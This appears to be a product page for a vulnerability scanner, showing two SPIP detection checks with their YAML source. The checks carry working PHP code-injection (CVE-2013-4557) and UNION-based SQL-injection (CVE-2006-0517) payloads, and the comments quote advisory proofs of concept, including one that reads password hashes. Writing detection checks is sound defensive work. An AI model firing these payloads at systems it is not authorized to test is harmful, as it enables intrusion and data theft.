SPIP — 2 vulnerability checks
noctis ships 2 vulnerability checks for SPIP, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SPIP Security Screen connect Parameter PHP Code Injection
| CVE | CVE-2013-4557 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/spip/CVE-2013-4557.yaml |
The Security Screen of SPIP 3.0.x (ecran_securite.php before 1.1.8) tries to remove PHP closing tags from the connect request parameter but, because of a typo, a value that starts with "??>>" passes the filter and its PHP code is run by the server. An unauthenticated attacker can run arbitrary PHP code with the rights of the web server.
This check sends a POST request to spip.php under the web root and /spip, with a connect value that holds a small PHP snippet printing the md5 of the product of two random numbers. The request is repeated once when the first reply holds no result. The finding is reported when the reply carries that md5, which the request does not contain and only server-side code execution can produce. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/spip.phpwith a crafted body - HTTP(S) request
POST {{dir}}/spip.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: SPIP Security Screen connect Parameter PHP Code Injection (CVE-2013-4557)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-4557
- https://www.spip.net/en_article5992.html
- https://www.securityfocus.com/bid/54292
Feed source — tests/vulnerabilities/spip/CVE-2013-4557.yaml
# SPIP Security Screen connect parameter PHP code injection — CVE-2013-4557
#
# The Security Screen (ecran_securite.php) shipped with SPIP 3.0.x (screen before 1.1.8,
# fixed in SPIP 3.0.12 / 2.1.24; the vendor advisory also lists 2.0.21, 2.1.16 and 3.0.3 for
# earlier fixes of the same family) filters the "connect" request parameter with a
# str_replace() that looks for the string "?>" because of a typo. A value that starts with
# "??>>" slips through, and the rest of it is written into generated PHP code that runs in
# the same request. Advisory PoC: POST /spip.php with connect=??>><?php phpinfo();#
#
# CVE mapping: the issue lists CVE-2013-4555, -4556 and -4557. NVD says 4555 is a logout
# CSRF and 4556 an XSS in the author form (url_site); only CVE-2013-4557 is the connect
# parameter injection this feed proves, so it is the only CVE named here.
# CVSS: NVD has no v3 score for it (v2 7.5), so the issue's 7.5 is kept.
#
# Detection, per install folder (web root, /spip):
# POST spip.php with connect=??>><?php echo md5(A*B);# (random five-digit A and B).
# The reply must carry md5 of the product, a value the request never contains. A page or
# a honeypot that reflects the request cannot print it. The source check sends the same
# request twice because the first reply sometimes carries no output; so does this feed.
# Nothing is written or read on the server; the snippet only prints a hash.
#
# Better than the source NASL: it needs no prior SPIP detection (two usual folders are
# probed directly), and proves execution with a computed value instead of looking for
# "<title>phpinfo()</title>", which also prints the server configuration into the report.
#
# Source: OpenVAS/Greenbone NVT 2013/gb_spip_54292.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103777, GPL-2.0-only).
uid: 3f18ac56-e7b3-49f5-ac22-59336765f4c2
name: "SPIP Security Screen connect Parameter PHP Code Injection (CVE-2013-4557)"
description: |
The Security Screen of SPIP 3.0.x (ecran_securite.php before 1.1.8) tries to remove PHP
closing tags from the connect request parameter but, because of a typo, a value that
starts with "??>>" passes the filter and its PHP code is run by the server. An
unauthenticated attacker can run arbitrary PHP code with the rights of the web server.
This check sends a POST request to spip.php under the web root and /spip, with a connect
value that holds a small PHP snippet printing the md5 of the product of two random
numbers. The request is repeated once when the first reply holds no result. The finding
is reported when the reply carries that md5, which the request does not contain and only
server-side code execution can produce. The snippet only prints a hash and nothing is
written on the server.
category: rce
cves: [CVE-2013-4557]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [spip, php, code-injection, rce, security-screen, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4557"
- "https://www.spip.net/en_article5992.html"
- "https://www.securityfocus.com/bid/54292"
# OpenVAS/Greenbone NASL 2013/gb_spip_54292.nasl (GPL-2.0-only)
steps:
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
body: "connect=%3F%3F%3E%3E%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3B%23",
expect: md5("" + (a * b))
}
store_as: probe
- id: init-r1
action: set_var
var_name: r1
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/spip"]
- id: init-r2
action: set_var
var_name: r2
var_value: {status: 0, body: ""}
- id: init-proof
action: set_var
var_name: rce_proof
var_value: ""
- id: probe-1
action: http_request
method: POST
path: "{{dir}}/spip.php"
port: "{{port}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{probe.body}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: r1
# The first reply sometimes holds no output: send the request once more.
- id: probe-2
action: http_request
method: POST
path: "{{dir}}/spip.php"
port: "{{port}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{probe.body}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'r1.status > 0 && r1.status != 404 && !(type_of(r1.body) == "string" && r1.body.contains(probe.expect))'
store_as: r2
- id: check
action: script
code: |
let hit = false;
if type_of(r1.body) == "string" && r1.body.contains(probe.expect) { hit = true; }
if type_of(r2.body) == "string" && r2.body.contains(probe.expect) { hit = true; }
if hit { probe.expect } else { "" }
store_as: rce_proof
- id: dir-keep
action: script
code: 'dir + "/"'
condition: 'rce_proof != ""'
store_as: hit_dir
- id: report
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "SPIP Security Screen connect Parameter PHP Code Injection (CVE-2013-4557)"
description: "An unauthenticated POST request to SPIP's spip.php with a connect parameter starting with ??>> followed by a PHP snippet made the server run that code: the reply carried the md5 of the product of two random numbers, which the request does not contain. The Security Screen's filter of the connect parameter can be bypassed, so an attacker can run any PHP code on the server."
remediation: "Upgrade SPIP to 3.0.12 / 2.1.24 or later and update the Security Screen (ecran_securite.php) to version 1.1.8 or later. Until then, block requests whose connect parameter contains PHP tags."
confidence_delta: 0.65
qod: 97
evidence: "POST {{hit_dir}}spip.php with connect=??>><?php echo md5(A*B);# returned the expected md5 {{rce_proof}} (injected PHP code executed)"
stop: trueSPIP forum.php3 id_forum SQL Injection
| CVE | CVE-2006-0517, CVE-2006-0519 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/spip/CVE-2006-0517.yaml |
SPIP before 1.8.2-e (and 1.9 before Alpha 2 build 5539) puts the id_forum value of forum.php3 unquoted into the SQL query that reads the title of the message being answered, then prefills the reply form's title with it. Without authentication, an attacker can append a UNION SELECT and read any data of the database, such as the editors' password hashes. The same release also discloses the installation path when inc-messforum.php3 is requested directly.
This check requests forum.php3 (and forum.php) under the web root and /spip with an id_forum value that appends a UNION SELECT of an expression multiplying two random numbers. The SQL injection is confirmed when the reply form's title holds the product computed by the database, which never appears in the request. Otherwise it requests inc-messforum.php3 and reports the path disclosure when the answer is a PHP error naming that file's path on the server, while a request for a random file name gets no such error. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{page}}?id_article=1&id_forum=-1/**/UNION/**/SELECT%20{{sc.expr}}/* - Parses / computes the next value with a Rhai script
- Checks
sqli_hitfor^/→ finding QoD 97: SPIP forum.php3 id_forum SQL Injection (CVE-2006-0517) - HTTP(S) request
GET {{dir}}/inc-messforum.php3 - HTTP(S) request
GET {{dir}}/{{sc.ctl}} - Parses / computes the next value with a Rhai script
- Checks
pd_hitfor^/→ finding QoD 75: SPIP inc-messforum.php3 Full Path Disclosure (CVE-2006-0519)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2006-0517
- https://nvd.nist.gov/vuln/detail/CVE-2006-0519
- http://archives.neohapsis.com/archives/fulldisclosure/2006-01/0990.html
- http://www.securityfocus.com/bid/16458
Feed source — tests/vulnerabilities/spip/CVE-2006-0517.yaml
# SPIP < 1.8.2-e — forum.php3 id_forum SQL injection (CVE-2006-0517)
# + inc-messforum.php3 full path disclosure (CVE-2006-0519)
#
# Zone-H advisory ZRCSA-200601 (2006-01-31): formulaires/inc-formulaire_forum.php3 passes
# the id_forum / id_article / id_breve request values unquoted and unfiltered into
# list ($idr, $idf, $ida, $idb, $ids) = $args;
# if (!$r = sql_recherche_donnees_forum ($idr, $idf, $ida, $idb, $ids)) return '';
# whose query reads the title of the message being answered; the reply form then prefills
# its title field with "> <that title>":
# <input type="text" ... value="> <titre>" class="forml" ...>
# Advisory PoC: /forum.php3?id_article=1&id_forum=-1/**/UNION/**/SELECT%20pass%20from%20spip_auteurs/*
# ("exploitable like this with magic_quotes_gpc on or off" — no quote is needed).
# Fixed in svn 5546 / 1.8.2-e (ids forced to integers). The same advisory reports a full
# path disclosure when inc-messforum.php3 is requested directly (CVE-2006-0519): the file
# expects the forum code to be loaded, so PHP prints its error with the install path.
# CVE-2006-0518 (index.php3?lang= XSS, same advisory) is not tested: its reflection point
# is unknown (SPIP 1.8 source unreachable), and a guessed pattern would be a false proof.
#
# Detection, per candidate path (web root and /spip, forum.php3 and forum.php):
# 1. (QoD 97, CVE-2006-0517) forum.php3?id_article=1&id_forum=-1/**/UNION/**/SELECT%20a*b/*
# with random six-digit a, b. The vulnerable form prefills the title with
# "> <a*b>": the product is computed by the database and never in the request.
# 2. (QoD 75, CVE-2006-0519) GET inc-messforum.php3: a PHP error naming the server path
# of inc-messforum.php3 ("... in <b>/var/www/spip/inc-messforum.php3</b> on line").
# A control request for a random inc-<x>.php3 must not produce a PHP error (a page
# that prints a PHP-error lookalike for any file name is not this product).
#
# Better than the source NASL:
# - the reference check matches a fixed random number it put in the request (a page or a
# honeypot reflecting the query would match); here the database must multiply;
# - it only reads the SPIP install dir found by its detection; /spip is probed as well;
# - the path disclosure of the same advisory is also reported (CVE-2006-0519).
#
# Source: OpenVAS/Greenbone NVT pre2008/spip_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20978, GPL-2.0-only); advisory ZRCSA-200601 (Zone-H).
uid: e27a4fd1-367d-4c5c-8e56-a365a7d3bd2e
name: "SPIP forum.php3 id_forum SQL Injection (CVE-2006-0517)"
description: |
SPIP before 1.8.2-e (and 1.9 before Alpha 2 build 5539) puts the id_forum value of
forum.php3 unquoted into the SQL query that reads the title of the message being
answered, then prefills the reply form's title with it. Without authentication, an
attacker can append a UNION SELECT and read any data of the database, such as the
editors' password hashes. The same release also discloses the installation path when
inc-messforum.php3 is requested directly.
This check requests forum.php3 (and forum.php) under the web root and /spip with an
id_forum value that appends a UNION SELECT of an expression multiplying two random
numbers. The SQL injection is confirmed when the reply form's title holds the product
computed by the database, which never appears in the request. Otherwise it requests
inc-messforum.php3 and reports the path disclosure when the answer is a PHP error naming
that file's path on the server, while a request for a random file name gets no such
error. No stored data is read and nothing is written.
category: sqli
cves: [CVE-2006-0517, CVE-2006-0519]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [spip, sqli, union-based, path-disclosure, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2006-0517"
- "https://nvd.nist.gov/vuln/detail/CVE-2006-0519"
- "http://archives.neohapsis.com/archives/fulldisclosure/2006-01/0990.html"
- "http://www.securityfocus.com/bid/16458"
# OpenVAS/Greenbone NASL pre2008/spip_sql_injection.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected value, control file name ───────────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ want: "> " + (a * b), expr: a + "*" + b, ctl: "inc-" + rand_str(10) + ".php3" }
store_as: sc
- id: init-hit
action: set_var
var_name: sqli_hit
var_value: ""
- id: init-pd
action: set_var
var_name: pd_hit
var_value: ""
# ── 1. UNION SELECT a*b into the reply form title (loop group) ────────────
- id: init-union-resp
action: set_var
var_name: union_resp
var_value: {status: 0, body: ""}
loop:
var: page
over: ["/forum.php3", "/forum.php", "/spip/forum.php3", "/spip/forum.php"]
- id: union-probe
action: http_request
method: GET
path: "{{page}}?id_article=1&id_forum=-1/**/UNION/**/SELECT%20{{sc.expr}}/*"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'sqli_hit == ""'
store_as: union_resp
- id: check-union
action: script
condition: 'sqli_hit == ""'
code: |
let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
if body.contains(sc.want) { page } else { "" }
store_as: sqli_hit
- id: report-sqli
action: match
source: sqli_hit
pattern: "^/"
on_match:
finding:
title: "SPIP forum.php3 id_forum SQL Injection (CVE-2006-0517)"
description: "An unauthenticated forum.php3 request whose id_forum value appends a UNION SELECT multiplying two random numbers returned the product computed by the database in the reply form's title: an attacker can read any data of the SPIP database, such as the editors' password hashes."
remediation: "Upgrade SPIP to 1.8.2-e or later (1.9 Alpha 2 build 5539 or later on the 1.9 branch); current SPIP releases are not affected."
cves: [CVE-2006-0517]
cvss: 7.5
severity: high
confidence_delta: 0.67
qod: 97
evidence: "{{sqli_hit}}?id_article=1&id_forum=-1/**/UNION/**/SELECT%20{{sc.expr}}/* prefilled the form title with the database-computed value {{sc.want}}"
stop: true
# ── 2. inc-messforum.php3 path disclosure (loop group) ────────────────────
- id: init-pd-resp
action: set_var
var_name: pd_resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/spip"]
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: ""}
- id: pd-probe
action: http_request
method: GET
path: "{{dir}}/inc-messforum.php3"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'pd_hit == ""'
store_as: pd_resp
- id: pd-control
action: http_request
method: GET
path: "{{dir}}/{{sc.ctl}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'pd_hit == "" && type_of(pd_resp.body) == "string" && pd_resp.body.contains("inc-messforum.php3")'
store_as: ctl_resp
- id: check-pd
action: script
condition: 'pd_hit == ""'
code: |
let body = if type_of(pd_resp.body) == "string" { pd_resp.body } else { "" };
let ctl = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let rx = "(Fatal error|Warning|Parse error)(</b>)?:.{0,400}? in (<b>)?([A-Za-z]:\\\\|/)[^<>\"\\r\\n]{0,250}inc-messforum\\.php3(</b>)? on line";
let ctl_rx = "(Fatal error|Warning|Parse error)(</b>)?:.{0,400}? on line";
if egrep(rx, body) != "" && egrep(ctl_rx, ctl) == "" {
let m = eregmatch(" in (<b>)?([^<>\"\\r\\n]{0,250}inc-messforum\\.php3)", body);
if dir == "" { "/ (web root): " + m[2] } else { dir + ": " + m[2] }
} else { "" }
store_as: pd_hit
- id: report-pd
action: match
source: pd_hit
pattern: "^/"
on_match:
finding:
title: "SPIP inc-messforum.php3 Full Path Disclosure (CVE-2006-0519)"
description: "A direct, unauthenticated request for inc-messforum.php3 returned a PHP error naming the file's path on the server, while a random file name got no such error. The installation path helps an attacker turn SQL injection into code execution (writing PHP into a writable directory such as IMG/)."
remediation: "Upgrade SPIP to 1.8.2-e or later, and disable display_errors in the PHP configuration."
cves: [CVE-2006-0519]
cvss: 5.0
severity: medium
confidence_delta: 0.50
qod: 75
evidence: "inc-messforum.php3 under {{pd_hit}} (disclosed server path)"
stop: true